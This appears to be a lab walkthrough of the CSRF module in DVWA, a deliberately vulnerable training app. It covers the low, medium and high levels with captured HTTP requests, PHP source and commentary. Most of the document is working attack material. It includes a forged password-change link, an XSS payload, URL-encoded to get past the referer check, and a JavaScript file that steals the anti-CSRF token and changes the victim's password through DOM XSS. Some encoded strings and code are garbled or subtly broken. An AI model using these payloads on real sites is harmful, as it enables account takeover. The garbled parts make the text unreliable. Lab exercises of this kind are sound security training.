

csrf

low

Change your admin password:

New password:

Confirm new password:

Change

http://127.8.0.1/vulnerabilities/csrf/?-password_new=test&password_conf=test&Change=Change#
if we are able to pass this to the user's website vulnerable to csrf , we can get change his password

vulnerabilities/csrf/source/low.php

```
<?php
if( isset( $_GET[ 'Change' ] ) ){
    // Get input
    $pass_new = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["__mysqli_ston"]) && is_object($GLOBALS["__mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["__mysqli_ston"], $pass_new) : ((trigger_error("
MySQLConverterToo: Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE 'users' SET password = '$pass_new' WHERE user = '" . dwwaCurrentUser() . "'";
        $result = mysqli_query($GLOBALS["__mysqli_ston"], $insert ) or die( '
```

Meduim

click by the victim

Change your admin password:

New password:

Confirm new password:

Change

That request didn't look correct.

let's taking a look to the request

```
Pretty Raw \n Actions v
1 GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change HTTP/1.1
2 Host: 127.8.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: PHPSESSID=bkk50hrr1on6thdfracq52oump1; security=medium
9 Upgrade-Insecure-Requests: 1
10
```

the normal request contain referer header , if the refere changed the request don't look well for the server

```
Pretty Raw \n Actions v
1 GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change HTTP/1.1
2 Host: 127.8.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: http://127.8.0.1/vulnerabilities/csrf/
8 Connection: close
9 Cookie: PHPSESSID=bkk50hrr1on6thdfracq52oump1; security=medium
10 Upgrade-Insecure-Requests: 1
11 Cache-Control: max-age=0
12
```

the action must be in the website , we gonna do xss

```
<script>document.location="http://127.8.0.1/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change"</script>
```

%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%31%32%37%2e%38%2e%30%2e%31

[http://127.8.0.1/vulnerabilities/xss_r/?-
name=%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%6](http://127.8.0.1/vulnerabilities/xss_r/?-name=%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%6)

127.8.0.1/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%

Change your admin password:

New password:

Confirm new password:

Password Changed.

RawParamsHeadersHex

PrettyRawInActions

```
1 GET /vulnerabilities/xss_r/?name=
  %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%31%32%37%2e%38%2e%30%2e%31%2f%76%75%6c%6e%65%72%61%62%69%6c%69%74%69%65%7
  3%2f%63%73%72%66%2f%3f%70%61%73%73%77%6f%72%64%5f%6e%65%77%3d%74%65%73%74%26%70%61%73%73%77%6f%72%64%5f%63%6f%6e%66%3d%74%65%73%74%26%43%68%61%6e%67%65%3d%43%68%61%6e%67%65%22%
  3c%2f%73%63%72%69%70%74%3e HTTP/1.1
2 Host: 127.8.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: PHPSESSID=fkdb3pv4kvgcul79d2encop395; security=low
9 Upgrade-Insecure-Requests: 1
```

forward

```

1 GET /vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change HTTP/1.1
2 Host: 127.8.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Referer:
  http://127.8.0.1/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%64%63%63%75%6d%65%6e%74%2e%6c%63%63%61%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%31%32%37%2e%38%2e%30%2e%31%2
  %76%75%6d%6e%65%72%61%2c%26%69%6c%69%74%69%65%73%2f%63%73%72%66%2f%31%70%61%73%77%76%72%64%5f%6e%65%77%3d%74%65%73%74%26%70%61%73%73%77%6f%72%64%5f%63%6f%6e%66%3d%74%65%73%74%
  26%43%68%61%6e%76%53%3d%43%68%61%6e%67%65%22%3c%2f%73%63%72%69%70%74%3e
9 Cookie: PHPSESSID=fkdb3pv4kvgcul79d2encop395; security=low
10 Upgrade-Insecure-Requests: 1
11

```

we get the referer using xss

```
83         <br />
84         <input type="submit" value="Change" name="Change">
85
86     </form>
87     <pre>
88         Password Changed.
89     </pre>
90 </div>
91
92 <h2>
93     More Information
94 </h2>
95 <ul>
```

Medium CSRF Source

```
<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripslashes( $_SERVER[ 'HTTP_REFERER' ] ) != $_SERVER[ 'SERVER_NAME' ] ) {
        // Get input
        $pass_new = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = (isset($_GLOBALS["__mysqli_ston"]) && is_object($_GLOBALS["__mysqli_ston"])) ? mysqli_real_escape_string($_GLOBALS["__mysqli_ston"], $pass_new) : ((trigger_error("[MySQLConverterToo] Fix the mysqli_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "");
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE users SET password = '$pass_new' WHERE user = '" . dwmCurrentUser() . "'";
            $result = mysqli_query($_GLOBALS["__mysqli_ston"], $insert ) or die( "<pre> . ((is_object($_GLOBALS["__mysqli_ston"])) ? mysqli_error($_GLOBALS["__mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre> );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }
}

((is_null($___mysqli_res = mysqli_close($_GLOBALS["__mysqli_ston"]))) ? false : $___mysqli_res);
?>
```

High

Change your admin password:

New password:

Confirm new password:

Change

Password Changed.

Request

Raw Params Headers Hex

Pretty Raw \n Actions ▾

```
1 GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=
  Change&user_token=5b19cc22ab467e7a679bbcb34bed0188 HTTP/1.1
2 Host: 127.8.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Referer: http://127.8.0.1/vulnerabilities/csrf/
9 Cookie: PHPSESSID=fkdb3pv4kvgcul79d2encop395; security=high
10 Upgrade-Insecure-Requests: 1
11
```

Request

Raw Params Headers Hex

Pretty Raw \n Actions ▾

```
1 GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=
  Change&user_token=9cfb3254fb4e0ff998589dd782411c5e HTTP/1.1
2 Host: 127.8.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Referer:
  http://127.8.0.1/vulnerabilities/csrf/?password_new=password&password_conf=password&
  Change=Change&user_token=5b19cc22ab467e7a679bbcb34bed0188
9 Cookie: PHPSESSID=fkdb3pv4kvgcul79d2encop395; security=high
10 Upgrade-Insecure-Requests: 1
11
12
```

My idea is to utilize another vulnerability to exploit this to aim execute commands at client site to get token and pass it with each request. So my target is XSS vulnerability, I used XSS DOM to exploit it. You can try another XSS method like Reflected or Stored XSS.

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

Vulnerability: DOM Based Cross Site Scripting (XSS)

Please choose a language:

English Select

More Information

- [https://www.owasp.org/index.php/Cross-site_Scripting_\(XSS\)](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))
- [https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_\(OTG-CLIENT-001\)](https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001))
- <https://www.acunetix.com/blog/articles/dom-xss-explained/>

127.8.0.1/vulnerabilities/xss_d/?default=English#<script>alert('xss')</script>

Reverse Shell Cheat Sh... Linux - Privilege Escala... Windows - Privilege Es... CyberChe

DVWA

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

Vulnerability: DOM Based Cross Si

Please choose a language:

XSS

OK

To make this exploit clearly i created a simple javascript code and put it on a file then put this file somewhere that client can access.

```

(root@kali)-[/var/www/html]
# cat xss.js
var xhr1 = new XMLHttpRequest ();
xhr1.open("GET","http://127.8.0.1/vulnerabilities/csrf/",true);
xhr1.responseType = 'document';
xhr1.send();
xhr1.onload = function (){
    if(xhr1.status == 200){
        ddd = xhr1.response;
        TOKEN = ddd.getElementsByTagName("user_token");
        TOKEN = TOKEN[0].value;
        var xhr2 = new XMLHttpRequest ();
        xhr2.open("GET","http://127.8.0.1/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change&user_token="+TOKEN,true);
        xhr2.send();
    }
}

```

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

PHP Info

About

- [https://www.owasp.org/index.php/Cross-site_Scripting_\(XSS\)](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))
- [https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_\(OTG-CLIENT-001\)](https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001))
- <https://www.acunetix.com/blog/articles/dom-xss-explained/>

Look at the exploit code. We have 2 steps to make it work. First step is getting content from link CSRF. Second step is parsing token and then associate this token with params password_new and password_conf.

127.8.0.1/vulnerabilities/xss_d/?default=English#<script type="text/javascript" src="http://127.8.0.1/xss.js"></script>

367	http://127.8.0.1	GET	/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change&user_token=53314f6e490ff5de49080792502356a0	✓
366	http://127.8.0.1	GET	/vulnerabilities/csrf/	
365	http://127.8.0.1	GET	/xss.js	

```
(rootkali)-[/var/.../diff/var/www/html]
# cat xss.html
<script type="text/javascript" src="xss.js"></script>
```

127.8.0.1/xss.html

127.8.0.1/xss.html

351	http://127.8.0.1	GET	/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change&user_token=7c97d158f6a73ac633af11408a2df572	
350	http://127.8.0.1	GET	/vulnerabilities/csrf/	
349	http://127.8.0.1	GET	/xss.js	
348	http://127.8.0.1	GET	/xss.html	

the password is successfully changed

vulnerabilities/xss_d/source/high.php

```
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ( $_GET[ 'default' ] ) ) {

    # White list the allowable languages
    switch ( $_GET['default'] ) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ( "location: ?default=English" );
            exit;
    }
}

?>
```

Impossible Unknown Vulnerability Source

```
<?php
```

```
# Don't need to do anything, protection handled on the client side
```

```
?>
```